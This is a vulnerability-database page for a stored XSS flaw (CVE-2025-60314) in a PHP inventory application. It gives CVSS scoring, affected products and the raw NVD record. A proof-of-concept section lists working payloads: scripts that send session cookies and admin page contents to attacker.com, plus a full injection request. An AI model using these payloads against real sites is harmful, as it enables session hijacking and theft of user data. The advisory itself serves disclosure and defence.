Security Vulnerability Report
中文
CVE-2025-60314 CVSS 5.4 MEDIUM

CVE-2025-60314

Published: 2025-10-08 14:15:45
Last Modified: 2025-10-10 16:17:36

Description

Configuroweb Sistema Web de Inventario 1.0 is vulnerable to a Stored Cross-Site Scripting (XSS) due to the lack of input sanitization on the product name parameter (Nombre:Producto) allowing an authenticated attacker to inject malicious payloads and execute arbitrary JavaScript.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:configuroweb:simple_web_inventory_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Configuroweb Sistema Web de Inventario 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60314 Proof of Concept - Stored XSS in Configuroweb Sistema Web de Inventario --> <!-- Vulnerable Parameter: Nombre:Producto (Product Name) --> <!-- Step 1: Authenticate to the application with valid credentials --> <!-- Step 2: Navigate to product creation/edit page --> <!-- Step 3: Inject malicious payload into the 'Nombre:Producto' field --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 2: Using img tag with onerror event --> <img src=x onerror="fetch('http://attacker.com/log?data='+btoa(document.cookie))"> <!-- Payload 3: Using svg tag --> <svg/onload=alert('XSS-'+document.domain)> <!-- Payload 4: Session hijacking with fetch API --> <script> fetch('/admin/users', {credentials: 'include'}) .then(r => r.text()) .then(data => { new Image().src = 'http://attacker.com/exfil?d=' + btoa(data); }); </script> <!-- HTTP Request Example (using curl) --> POST /inventario/productos/guardar.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=authenticated_session_cookie nombre=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&descripcion=Test&cantidad=1&precio=10 <!-- The malicious script will be stored in the database and executed --> <!-- whenever any user (especially admin) views the product list page -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60314", "sourceIdentifier": "[email protected]", "published": "2025-10-08T14:15:45.373", "lastModified": "2025-10-10T16:17:36.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Configuroweb Sistema Web de Inventario 1.0 is vulnerable to a Stored Cross-Site Scripting (XSS) due to the lack of input sanitization on the product name parameter (Nombre:Producto) allowing an authenticated attacker to inject malicious payloads and execute arbitrary JavaScript."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:configuroweb:simple_web_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5835234C-8302-4B50-97FC-322CF32960C7"}]}]}], "references": [{"url": "https://configuroweb.com/sistema-web-de-inventario-simple-en-php-mysql/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ChuckBartowski7/Vulnerability-Research/blob/main/CVE-2025-60314/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/configuroweb/inventariobasico", "source": "[email protected]", "tags": ["Product"]}]}}